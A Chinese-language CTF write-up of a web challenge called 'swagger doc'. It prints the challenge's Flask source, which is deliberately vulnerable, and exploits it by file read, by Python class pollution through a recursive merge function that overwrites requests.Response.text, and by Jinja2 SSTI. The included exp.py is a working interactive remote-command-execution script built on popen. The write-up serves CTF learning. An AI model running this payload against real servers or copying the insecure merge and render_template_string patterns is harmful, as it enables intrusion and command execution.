本文最后更新于 390 天前,其中的信息可能已经有所发展或是发生改变。
协会最终排名Rank 5
没打,就中途看了俩题,一个python的ssti
原型链污染
,再就一个垃圾misc
Web
swagger doc
- 给了api文档,一个任意文件读
POST /api-base/v0/search?file=/app/app.py&type=text HTTP/1.1
Host: ip:port
Connection: close
Content-Type: application/json
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0.78iq2inutDsG4QG9-AM7jkydZyaLgRwJ2AIo2oBiGFQ
Content-Length: 2
{}
- 源代码
#coding=gbk
import json
from flask import Flask, request, jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os
app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True
app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
'code': 0,
'message': 'failed',
'result': None
}
response1={
'code': 1,
'message': 'success',
'result': current_time
}
response2 = {
'code': 2,
'message': 'Invalid request parameters',
'result': None
}
def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated
@app.route('/',methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')
@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
User.setUser(username,password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2),400
@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400
@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()
if new_password:
update(new_password, User)
updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response
@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code
if request.args.get('type') == "text":
return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password
def setToken(self, token):
self.token = token
def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0')
- 还有个内网的另一个服务api.py
#coding=gbk
import json
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/v2/users', methods=['GET'])
def get_user_info():
file_path = request.args.get('file')
id = request.args.get('id')
if file_path:
try:
with open(file_path, 'r') as file:
file_content = file.read()
if id:
data = json.loads(file_content)
for user in data['users']:
if user['id'] == int(id):
if user:
return user
else:
return 'not found', 404
return file_content
except FileNotFoundError:
return 'error',500
if __name__ == '__main__':
app.run(port=8899)
- 很明显,有个原型链污染,然后在
/api-base/v0/search
有个ssti的点,但是渲染的内容是Response.text
;这里可以通过Response
类的text
属性来ssti
(没看过reqeusts的源代码,这块text属性居然不会被一次请求给覆盖就很nb)
- exp.py
from requests import Session
from json import dumps
sess = Session()
headers = {
"Content-Type": "application/json"
}
data = {
"username": "user",
"password": "user"
}
sess.post("http://ip:port/api-base/v0/register", data=dumps(data), headers=headers)
sess.post("http://ip:port/api-base/v0/login", data=dumps(data), headers=headers)
while True:
data = {
"username": "user",
"password": "user",
"__init__": {
"__globals__": {
"requests": {
"Response": {
"text": "{{().__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('" + input("$ ") + "').read()}}"
}
}
}
}
}
sess.post("http://ip:port/api-base/v0/update", data=dumps(data), headers=headers)
data = {}
resp = sess.post("http://ip:port/api-base/v0/search?file=/app/app.py&type=text", data=dumps(data), headers=headers)
print(resp.text)
- 这题没啥难度,确定污染的地方就ok了,还是第一次污染
Response
,卡了一会儿